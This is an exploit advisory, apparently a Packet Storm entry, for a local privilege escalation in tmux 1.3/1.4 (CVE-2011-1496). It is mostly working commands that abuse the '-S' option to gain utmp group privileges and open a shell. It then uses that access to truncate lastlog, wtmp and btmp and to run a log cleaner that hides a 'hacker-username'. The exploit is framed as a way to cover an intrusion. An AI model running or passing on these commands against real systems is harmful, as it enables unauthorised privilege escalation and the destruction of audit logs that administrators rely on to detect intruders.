tmux 1.3 / 1.4 Privilege Escalation

2011-04-11T00:00:00
ID PACKETSTORM:100272
Type packetstorm
Reporter ph0x90bic
Modified 2011-04-11T00:00:00

Description

                                        
                                            `---------------------------------------  
| Team ph0x90bic proudly presents |  
| tmux -S 1.3/1.4 local utmp exploit |  
---------------------------------------  
  
# Exploit Title: tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability  
# Date: 11.04.2011  
# Author: ph0x90bic  
# Software Link: http://tmux.sourceforge.net/  
# Version: 1.3/1.4  
# Tested on: Linux debian 2.6.26-1-686  
# CVE : CVE-2011-1496  
  
---  
  
INTRODUCTION  
  
tmux 1.3/1.4 contains a privilege escalation vulnerabillity,  
which gives you utmp group privileges. This bug is important,  
because it is possible to clean logfiles and use logcleaners  
for btmp, wtmp and lastlog without local root access.  
  
---  
  
EXPLOIT  
  
Execute shell as utmp group  
  
$ tmux -S /tmp/.whateveryouwant -c id  
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)  
  
$ tmux -S /tmp/.whateveryouwant -c /bin/sh  
$ id  
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)  
  
--  
  
Delete logfiles  
  
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'  
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'  
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'  
  
--  
  
Use logcleaner software  
  
$ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username  
  
`